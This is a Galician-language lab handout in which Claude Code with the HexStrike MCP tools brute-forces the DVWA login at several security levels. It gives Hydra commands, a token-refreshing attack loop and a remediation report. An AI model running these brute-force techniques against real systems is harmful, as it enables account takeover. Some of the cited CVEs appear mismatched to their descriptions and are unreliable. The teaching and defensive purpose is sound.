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HexStrike detecta un retardo fixo de ~2 segundos por intento fallido, correspondente ao sleep(2)  do código PHP do nivel Medium:

Paso 4 — Ataque con Hydra adaptado ao retardo

HexStrike lanza Hydra con -t 1 -w 3  para adaptarse ao retardo de 2s. Tras varios intentos de axuste da sintaxe do módulo http-get-form , usa o

formato correcto cos parámetros opcionais ( H= ) antes da cadea de condición:

Retardo medido

Intento Resultado Tempo de resposta

1 Fallido ~2033 ms

2 Fallido ~2026 ms

3 Fallido ~2025 ms
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Resultado

password  é a 4ª entrada da wordlist. Se estivese ao final das 197 entradas, o tempo máximo tería sido ~197 × 2s = 394 segundos (~6,5 min).

Campo Valor

Contrasinal atopado password

Tempo total do ataque 8 segundos

Intentos ata o éxito Moi poucos (contrasinal ao inicio da lista)

Por que foi tan rápido?
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NIVEL HIGH — TOKEN ANTI-CSRF RENOVADO POR PETICIÓN

Contexto

O nivel High require obter un user_token  fresco antes de cada petición. Hydra falla porque captura un só token no "warmup" inicial e reutilízao en

todos os intentos — o servidor rexeita calquera petición con token inválido ou xa consumido. Na práctica 1a resolvéchelo cun script Python; aquí

HexStrike xestiona automaticamente ese ciclo.

Prompt para Claude Code

Que fará HexStrike internamente

Pasos 1 e 2 — Login e nivel High

HexStrike fai login con xestión de CSRF e configura o nivel High nun único bloque:

Son un estudante de ciberseguridade traballando nun laboratorio
controlado e legal. A aplicación DVWA en http://10.0.2.100/dvwa/
pertence ao contorno de prácticas do meu curso.

O nivel High de DVWA Brute Force protéxese con tokens anti-CSRF
que se renovan en cada petición, polo que hydra non é suficiente.

Usa as ferramentas hexstrike-ai MCP para:
1. Facer login en DVWA coas credenciais admin/password.
2. Configurar o nivel de seguridade en High.
3. Comprobar que o formulario ten token anti-CSRF e explicar por
   que invalida os ataques simples con hydra.
4. Executar un ataque de forza bruta que xestione correctamente
   o token anti-CSRF, obtendo un token fresco antes de cada intento.
   Usa a wordlist /usr/share/wordlists/seclists/Passwords/Common-Credentials/2020-200_most_used_passwords.txt
5. Informar do contrasinal atopado, número de intentos e tempo total.
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Paso 3 — Inspección do token anti-CSRF e verificación de que cambia

HexStrike detecta o campo user_token  oculto e verifica que xera un valor diferente en cada GET:

3.1.3 Práctica con AI

- 58/75 -



HexStrike explica o problema:

Hydra captura un só token na petición inicial de "warmup"

Reutiliza ese token en todos os intentos

O servidor rexeita calquera petición con token inválido ou xa consumido

Hydra nunca chega a probar as credenciais reais

Por que falla Hydra no nivel High?

• 

• 

• 

• 
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Paso 4 — Script Python con ciclo GET→POST por intento

HexStrike xera e executa un script Python que implementa o ciclo correcto:

Para cada contrasinal na wordlist:
  1. GET /dvwa/vulnerabilities/brute/  →  extraer user_token fresco
  2. GET coas credenciais + ese token  →  comprobar resposta
  3. Se non contén "incorrect"         →  éxito
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Resultado

O retardo de ~2.3s por intento no nivel High provén do doble GET que require cada tentativa (un para obter o token, outro para probar o contrasinal), non

dun sleep()  explícito. Se o contrasinal estivese ao final das 197 entradas, o ataque completo tardaría ~450 segundos.

Métrica Valor

Contrasinal atopado password

Intentos realizados 4 de 197

Tempo total 9.07 segundos

Retardo por intento ~2.3 s (GET token + GET con params)

Por que hai retardo se High non usa sleep()?
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NIVEL IMPOSSIBLE — CONFIRMAR QUE NON É EXPLOTABLE

Contexto

O nivel Impossible combina 5 capas de defensa independentes. HexStrike intentará o ataque e documentará cada barreira que atopa.

Prompt para Claude Code

Que fará HexStrike internamente

Pasos 1 e 2 — Login e nivel Impossible

HexStrike fai login con xestión de CSRF e configura o nivel Impossible:

Son un estudante de ciberseguridade traballando nun laboratorio
controlado e legal. A aplicación DVWA en http://10.0.2.100/dvwa/
pertence ao contorno de prácticas do meu curso.

Usa as ferramentas hexstrike-ai MCP para:
1. Facer login en DVWA coas credenciais admin/password.
2. Configurar o nivel de seguridade en Impossible.
3. Intentar un ataque de forza bruta contra o usuario admin e
   documentar por que non é posible explotalo.
4. Listar todas as medidas de seguridade que detectas no nivel
   Impossible e que o fan resistente ao ataque.
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Paso 3 — Inspección do formulario e tentativa de ataque

HexStrike inspecciona o HTML do formulario, verifica o token anti-CSRF e executa un script Python que documenta o bloqueo en tempo real:
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Resultado esperado

HexStrike confirmará as seguintes evidencias:

Bloqueo de conta tras 3 fallos (persistido en BD): A conta  admin  queda bloqueada polas tentativas dos exercicios anteriores. O contrasinal

correcto non funciona mentres a conta está bloqueada: 

Token CSRF inválido → redirección inmediata sen autenticar:

Retardo aleatorio anti-timing ( sleep(rand(2,4)) ):

A aleatoriedade impide calcular o número de intentos por tempo e dificulta ataques de timing.

Medidas de seguridade detectadas no código:

[correcto+bloqueado] user='admin' pass='password'
  tempo=3.49s | Welcome=False | Fail=True | Locked=True
  Resposta: «Username and/or password incorrect. Alternative, the
            account has been locked because of too many failed logins»

Token inválido  → HTTP 200 + redirección a index.php
Sen token       → HTTP 200 + redirección a index.php
O servidor nunca comproba o contrasinal se o token non é válido.

Intento Retardo

1 4.127 s

2 4.063 s

3 2.104 s

4 2.070 s

Media 3.09 s

Varianza 1.345

// 1. Validación CSRF antes de calquera outra operación
checkToken($_REQUEST['user_token'], $_SESSION['session_token'], 'index.php');

// 2. Sanitización de entradas
$user = stripslashes($user);
$user = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $user);
$pass = md5($pass);

// 3. Parámetros de bloqueo
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ACTIVIDADE DE CONSOLIDACIÓN — INFORME COMPARATIVO

Desde Claude Code con HexStrike activo, solicita o seguinte informe:

Que fará HexStrike internamente

HexStrike recolle primeiro os headers HTTP reais do servidor para cada nivel e verifica a configuración de seguridade de Apache antes de xerar o

informe:

$total_failed_login = 3;   // umbral
$lockout_time       = 15;  // minutos

// 4. Consulta PDO preparada (anti-SQLi)
$data = $db->prepare('SELECT failed_login, last_login FROM users WHERE user = (:user) LIMIT 1;');

// 5. Consulta de autenticación PDO preparada (anti-SQLi)
$data = $db->prepare('SELECT * FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;');

// 6. Retardo aleatorio anti-timing e anti-brute
sleep(rand(2, 4));

// 7. Mensaxe idéntica para fallo e para bloqueo (anti-enumeración)
echo "Username and/or password incorrect.<br/>Alternative, the account has been locked...";

// 8. Actualización do contador en BD
UPDATE users SET failed_login = (failed_login + 1) WHERE user = (:user) LIMIT 1;

// 9. Rexeneración do token CSRF ao final de cada petición
generateSessionToken();

Son un estudante de ciberseguridade. Baseándote nos ataques
de forza bruta que acabas de executar contra os catro niveis
de DVWA, xera un informe comparativo en markdown que inclúa:

- Táboa resumo: nivel / proteccións detectadas / explotable / técnica usada
- Para cada nivel explotable: CVEs relacionados co tipo de fallo (se existen)
- Puntuación CVSS v3.1 estimada para cada nivel
- Top 5 recomendacións de remediación priorizadas por impacto
- Exemplo de cabeceiras HTTP de resposta (Set-Cookie, X-Frame-Options,
  Content-Security-Policy) que melloren a seguridade do formulario
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Resultado

O informe xérase como ficheiro markdown en /tmp/dvwa_brute_force_report.md  e móstrase completo en Claude Code:
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Extracto da táboa resumo xerada:

Nivel Token CSRF Retardo fallo Bloqueo

conta

Consultas

PDO

Explotable Técnica

usada

Low ✗ ✗ ✗ ✗ ✅ Hydra http-

get-form

directo

Medium ✗ 2 s fixos ✗ ✗ ✅ Hydra + 

-t 1 -w 3

adaptado ao

retardo

High ✓ (sesión) 2 s fixos ✗ ✗ ✅ Script Python:

GET token →

POST creds

Impossible ✓

(transacción)

2-4 s

aleatorio

✓ 3 fallos/15

min

✓ ❌ Non

explotable
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Puntuacións CVSS v3.1:

- Low: 9.1 CRÍTICO — CWE-307 + CWE-352 + CWE-521

- Medium: 7.3 ALTO

- High: 5.9 MEDIO

- Impossible: Non aplicable 

GLOSARIO

Termo Definición

MCP Model Context Protocol — ponte entre Claude e ferramentas externas

HexStrike AI Servidor MCP con 150+ ferramentas de ciberseguridade para Kali

Linux

Claude Code Cliente oficial de Anthropic para terminal, usa o Plan Pro de claude.ai

PHPSESSID Identificador de sesión PHP necesario para acceder á zona

autenticada de DVWA

Token anti-CSRF Valor único renovado en cada petición para previr automatización

simple

Prompt de pentesting Instrución en linguaxe natural que guía a HexStrike para executar un

ataque
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Informe Comparativo — Brute Force DVWA (Low → Medium → High → Impossible)

Data: 2026-04-26

Contorno: Laboratorio controlado — DVWA 2.x en http://10.0.2.100

Clasificación: Educativo / CTF 

1. TÁBOA RESUMO

2. ANÁLISE POR NIVEL EXPLOTABLE

2.1 Nivel Low

Fallo principal: Ausencia total de proteccións anti-brute-force (CWE-307) e sen token CSRF (CWE-352).

Técnica: Hydra con http-get-form  e cookie de sesión. O servidor responde instantaneamente a cada petición.

Resultado: Contrasinal password  atopado en < 1 s.

CWEs relevantes:

- CWE-307 — Improper Restriction of Excessive Authentication Attempts

- CWE-352 — Cross-Site Request Forgery (Missing CSRF Token)

- CWE-521 — Weak Password Requirements (contrasinal trivial) 

CVEs ilustrativos da mesma clase:

Puntuación CVSS v3.1:

Nivel Token CSRF Retardo fallo Bloqueo

conta

Consultas

PDO

Explotable Técnica

usada

Low ✗ ✗ ✗ ✗ ✅ Hydra http-

get-form

directo

Medium ✗ 2 s fixos ✗ ✗ ✅ Hydra + 

-t 1 -w 3

adaptado ao

retardo

High ✓ (por

sesión)

2 s fixos ✗ ✗ ✅ Script Python:

GET token →

POST creds

Impossible ✓ (por

petición)

2–4 s

aleatorio

✓ (3 fallos /

15 min)

✓ ❌ Non

explotable

hydra -l admin -P wordlist.txt 10.0.2.100 \
  http-get-form '/dvwa/vulnerabilities/brute/: \
  username=^USER^&password=^PASS^&Login=Login: \
  H=Cookie\: PHPSESSID=...; security=low: \
  Username and/or password incorrect' -t 16

CVE Produto Descrición

CVE-2019-5420 Ruby on Rails ( activestorage ) Brute force sen límite en endpoint de

autenticación

CVE-2021-22175 GitLab CE/EE Sen rate-limiting en API de autenticación

CVE-2020-15782 Siemens SCALANCE Autenticación HTTP sen bloqueo de conta

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
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Base Score: 9.1 — CRÍTICO

2.2 Nivel Medium

Fallo principal: O sleep(2)  reduce a velocidade do ataque pero non o impide. Segue sen CSRF nin bloqueo (CWE-307 + CWE-208).

Técnica: Hydra con -t 1  (un fío) para respectar o retardo fixo. O formulario acepta o mesmo token durante toda a sesión.

Resultado: Contrasinal password  atopado en 8 s (4.º intento × ~2 s/intento).

Tempo máximo wordlist completa (197 entradas): ~394 s (~6,5 min).

CWEs relevantes:

- CWE-307 — Sin bloqueo de conta

- CWE-208 — Observable Timing Discrepancy (retardo fixo e predecible)

- CWE-352 — Sen token CSRF

CVEs ilustrativos:

Puntuación CVSS v3.1:

Base Score: 9.1 — CRÍTICO

Nota: O retardo de 2 s non reduce a puntuación base de CVSS (non é un control de seguridade efectivo); só incrementa o tempo de explotación.

2.3 Nivel High

Fallo principal: O token CSRF rénvase por sesión PHP, non por petición. Un atacante que obtén un token válido pode reutilizalo durante toda a

sesión (CWE-352 parcial). Ademais non hai bloqueo de conta (CWE-307).

Técnica: Script Python con ciclo GET→POST: obtén un token fresco antes de cada intento de contrasinal, mantendo a mesma sesión PHP.

Métrica Valor Razón

Attack Vector Network (N) Accesible vía HTTP

Attack Complexity Low (L) Sen condición especial

Privileges Required None (N) Non require conta previa

User Interaction None (N) Totalmente automatizable

Confidentiality High (H) Credenciais comprometidas

Integrity High (H) Toma de conta completa

Availability None (N) Sen impacto de dispoñibilidade

hydra -l admin -P wordlist.txt 10.0.2.100 \
  http-get-form '.../brute/: \
  username=^USER^&password=^PASS^&Login=Login: \
  H=Cookie\: PHPSESSID=...; security=medium: \
  Username and/or password incorrect' -t 1 -w 3

CVE Produto Descrición

CVE-2019-7642 Mautic Brute force con retardo fixo contornable con

fíos únicos

CVE-2022-22947 Spring Cloud Gateway Rate-limiting incompleto en rutas protexidas

CVE-2021-43798 Grafana Path traversal + auth sen lockout

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
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Resultado: Contrasinal password  atopado en 9 s (4.º intento × ~2.3 s/intento).

CWEs relevantes:

- CWE-307 — Sin bloqueo de conta

- CWE-352 — Token CSRF ligado á sesión, non á transacción

- CWE-613 — Insufficient Session Expiration

CVEs ilustrativos:

Puntuación CVSS v3.1:

Base Score: 7.4 — ALTO

2.4 Nivel Impossible

Non explotable. As defensas en capas impiden calquera ataque automatizado:

Token CSRF por transacción → generateSessionToken()  tras cada POST invalida o token anterior

Bloqueo tras 3 fallos → persistido en BD; 15 min de espera

Bloqueo activo con clave correcta → nin o contrasinal real funciona mentres a conta está bloqueada

Retardo aleatorio → sleep(rand(2,4))  impide análise de timing

Mensaxe de erro idéntica → "Username and/or password incorrect" tanto para fallo como para bloqueo (anti-enumeración)

PDO con parámetros ligados → inmune a inxección SQL

Puntuación CVSS v3.1:

Base Score: 0.0 — NINGÚN

3. COMPARATIVA DE PUNTUACIÓNS CVSS V3.1

def attack_step(session, password):
# 1. GET fresco para token actual da sesión
token = get_token(session) # extrae user_token do HTML
# 2. POST con ese token válido
return try_password(session, password, token)

CVE Produto Descrición

CVE-2019-3396 Atlassian Confluence CSRF en formularios de autenticación sen

token por-petición

CVE-2020-17519 Apache Flink Token de sesión reutilizable en operacións

sensibles

CVE-2022-0540 Atlassian Jira Bypass de CSRF en determinados

endpoints de auth

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N

Métrica Valor Razón

Attack Complexity High (H) Require xestión de estado (token CSRF

fresco por petición)

Outros igual Low/Medium —

1. 

2. 

3. 

4. 

5. 

6. 

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:N

Nivel         CVSS Vector                                     Puntuación  Severidade
─────────────────────────────────────────────────────────────────────────────────────
Low           AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N           9.1         CRÍTICO
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4. TOP 5 RECOMENDACIÓNS DE REMEDIACIÓN (POR IMPACTO)

R1 — Implementar bloqueo de conta con backoff exponencial ⚡ CRÍTICO

Impacto: Elimina a viabilidade práctica de calquera ataque de forza bruta.

Complementar con:

- Bloqueo por IP E por usuario (evitar lockout selectivo)

- Notificación ao usuario por email cando se bloquea a súa conta

- CAPTCHA progresivo (activar tras 2–3 fallos) 

R2 — Token CSRF por transacción (non por sesión) ⚡ CRÍTICO

Impacto: Invalida todos os ataques automatizados que non xestionen estado HTTP completo.

R3 — Cabeceiras HTTP de seguridade en todas as respostas 🔴 ALTO

Impacto: Mitiga clickjacking, XSS reflectido, sniffing de MIME e fixación de sesión.

Estado actual do servidor (confirmado por laboratorio):

Medium        AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N           9.1         CRÍTICO
High          AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N           7.4         ALTO
Impossible    AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:N           0.0         NINGÚN

  9 │ ██████████  ██████████
  8 │
  7 │                         ████████
  6 │
  5 │
  4 │
  3 │
  2 │
  1 │
  0 │                                    ──
    └────────────────────────────────────────
         Low      Medium     High    Impossible

// PHP — exemplo de implementación
$max_intentos  = 5;
$bloqueo_base  = 30;   // segundos
$multiplicador = 2;    // backoff exponencial

$intentos = $cache->get("bf:{$ip}:{$usuario}") ?? 0;
if ($intentos >= $max_intentos) {
    $espera = $bloqueo_base * pow($multiplicador, $intentos - $max_intentos);
    http_response_code(429);
    header("Retry-After: {$espera}");
    exit("Too Many Requests");
}

// Xerar token novo ANTES de servir o formulario
function generateTransactionToken(): string {
    $token = bin2hex(random_bytes(32));
    $_SESSION['csrf_token']    = $token;
    $_SESSION['csrf_token_ts'] = time();   // TTL de 5 min
    return $token;
}

// Validar: token correcto + non caducado + consumir (one-time use)
function validateTransactionToken(string $token): bool {
    $valid = hash_equals($_SESSION['csrf_token'] ?? '', $token)
          && (time() - ($_SESSION['csrf_token_ts'] ?? 0)) < 300;
    unset($_SESSION['csrf_token'], $_SESSION['csrf_token_ts']); // one-time
    return $valid;
}

# PRESENTES (ben configuradas)

Set-Cookie: PHPSESSID=...; HttpOnly; SameSite=Strict    ✓
Cache-Control: no-cache, must-revalidate                 ✓

# AUSENTES — deben engadirse en Apache /etc/apache2/conf-enabled/security.conf:
X-Frame-Options: DENY
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
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Configuración Apache recomendada:

Set-Cookie óptimo para formulario de login:

⚠️ Actualmente falta Secure  — debe engadirse cando se despregue con HTTPS.

R4 — Consultas parametrizadas con PDO en todos os niveis 🔴 ALTO

Impacto: Elimina SQL Injection en paralelo co brute force (niveles Low–High usan concatenación ou mysqli_real_escape_string ).

R5 — Retardo aleatorio + log de eventos de autenticación 🟡 MEDIO

Impacto: Dificulta ataques de timing e permite detección e resposta (SIEM/alertas).

Complementar con fail2ban:

Referrer-Policy: strict-origin-when-cross-origin
Permissions-Policy: geolocation=(), microphone=(), camera=()

# /etc/apache2/conf-enabled/security-headers.conf
<IfModule mod_headers.c>

Header always set X-Frame-Options "DENY"
Header always set X-Content-Type-Options "nosniff"
Header always set X-XSS-Protection "1; mode=block"
Header always set Referrer-Policy "strict-origin-when-cross-origin"
Header always set Permissions-Policy "geolocation=(), camera=(), microphone=()"
Header always set Content-Security-Policy \

"default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'; \
         img-src 'self' data:; frame-ancestors 'none'; form-action 'self'"

# Ocultar versión do servidor
ServerTokens Prod
ServerSignature Off

</IfModule>

Set-Cookie: PHPSESSID=<valor>; 
            Path=/; 
            HttpOnly; 
            Secure; 
            SameSite=Strict; 
            Max-Age=3600

// ✗ INSEGURO (Low/Medium): string concatenation
$query = "SELECT * FROM users WHERE user='$user' AND password='$pass'";

// ✓ SEGURO (Impossible): PDO preparado
$stmt = $db->prepare('SELECT * FROM users WHERE user = :user AND password = :pass LIMIT 1');
$stmt->bindParam(':user', $user, PDO::PARAM_STR);
$stmt->bindParam(':pass', $hash, PDO::PARAM_STR);
$stmt->execute();

// Retardo aleatorio en fallo (igual que Impossible)
sleep(random_int(2, 5));

// Log estruturado para SIEM
error_log(json_encode([
    'event'    => 'auth_failure',
    'user'     => $usuario,
    'ip'       => $_SERVER['REMOTE_ADDR'],
    'ua'       => $_SERVER['HTTP_USER_AGENT'],
    'ts'       => date('c'),
    'attempt'  => $intentos_fallidos,
]));

# /etc/fail2ban/filter.d/dvwa-brute.conf
[Definition]
failregex = ^.*"event":"auth_failure".*"ip":"<HOST>".*$
ignoreregex =

# /etc/fail2ban/jail.d/dvwa.conf
[dvwa-brute]
enabled = true
filter = dvwa-brute
logpath = /var/log/apache2/error.log
maxretry = 5
bantime = 3600
findtime = 300
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5. EXEMPLO COMPLETO DE CABECEIRAS HTTP SEGURAS

5.1 Cabeceiras actuais do servidor (confirmadas)

5.2 Cabeceiras recomendadas (estado obxectivo)

5.3 Mapeo cabeceira → ataque que mitiga

6. REFERENCIAS

OWASP Top 10 2021 — A07: Identification and Authentication Failures

CWE-307: https://cwe.mitre.org/data/definitions/307.html

CWE-352: https://cwe.mitre.org/data/definitions/352.html

CWE-208: https://cwe.mitre.org/data/definitions/208.html

CVSS v3.1 Specification: https://www.first.org/cvss/v3.1/specification-document

OWASP Testing Guide v4.2 — OTG-AUTHN-003 (Testing for Weak Lock Out Mechanism)

OWASP CSRF Prevention Cheat Sheet

Mozilla Observatory: https://observatory.mozilla.org

HTTP/1.1 200 OK

Server: Apache/2.4.52 (Ubuntu)              ← ⚠️ Revela versión e SO
Set-Cookie: security=impossible; path=/; HttpOnly   ← falta Secure + SameSite
Set-Cookie: PHPSESSID=...; HttpOnly; SameSite=Strict ← ben, falta Secure
Cache-Control: no-cache, must-revalidate
Content-Type: text/html;charset=utf-8

HTTP/1.1 200 OK
Server: Apache                              ← sen versión nin SO
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
Content-Security-Policy: default-src 'self'; script-src 'self'; \

style-src 'self' 'unsafe-inline'; img-src 'self' data:; \
form-action 'self'; frame-ancestors 'none'

X-Frame-Options: DENY
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Referrer-Policy: strict-origin-when-cross-origin
Permissions-Policy: geolocation=(), camera=(), microphone=()
Cache-Control: no-store, no-cache, must-revalidate, private
Pragma: no-cache
Set-Cookie: PHPSESSID=<opaco>; Path=/dvwa/; HttpOnly; Secure; \

SameSite=Strict; Max-Age=1800
Set-Cookie: security=high; Path=/dvwa/; HttpOnly; Secure; SameSite=Strict
Content-Type: text/html; charset=UTF-8

Cabeceira Ataque mitigado

X-Frame-Options: DENY Clickjacking para roubo de credenciais

CSP: form-action 'self' Envío de formulario a servidor do atacante

CSP: frame-ancestors 'none' UI redressing / clickjacking

X-Content-Type-Options: nosniff MIME sniffing + XSS via upload

SameSite=Strict CSRF cross-site

HttpOnly Roubo de cookie via XSS

Secure Intercepción de cookie en HTTP

Strict-Transport-Security Downgrade a HTTP / SSL stripping

Referrer-Policy Fuga de token CSRF en cabeceira Referer

Cache-Control: no-store Caché de credenciais en proxy/navegador

• 

• 

• 

• 

• 

• 

• 

• 
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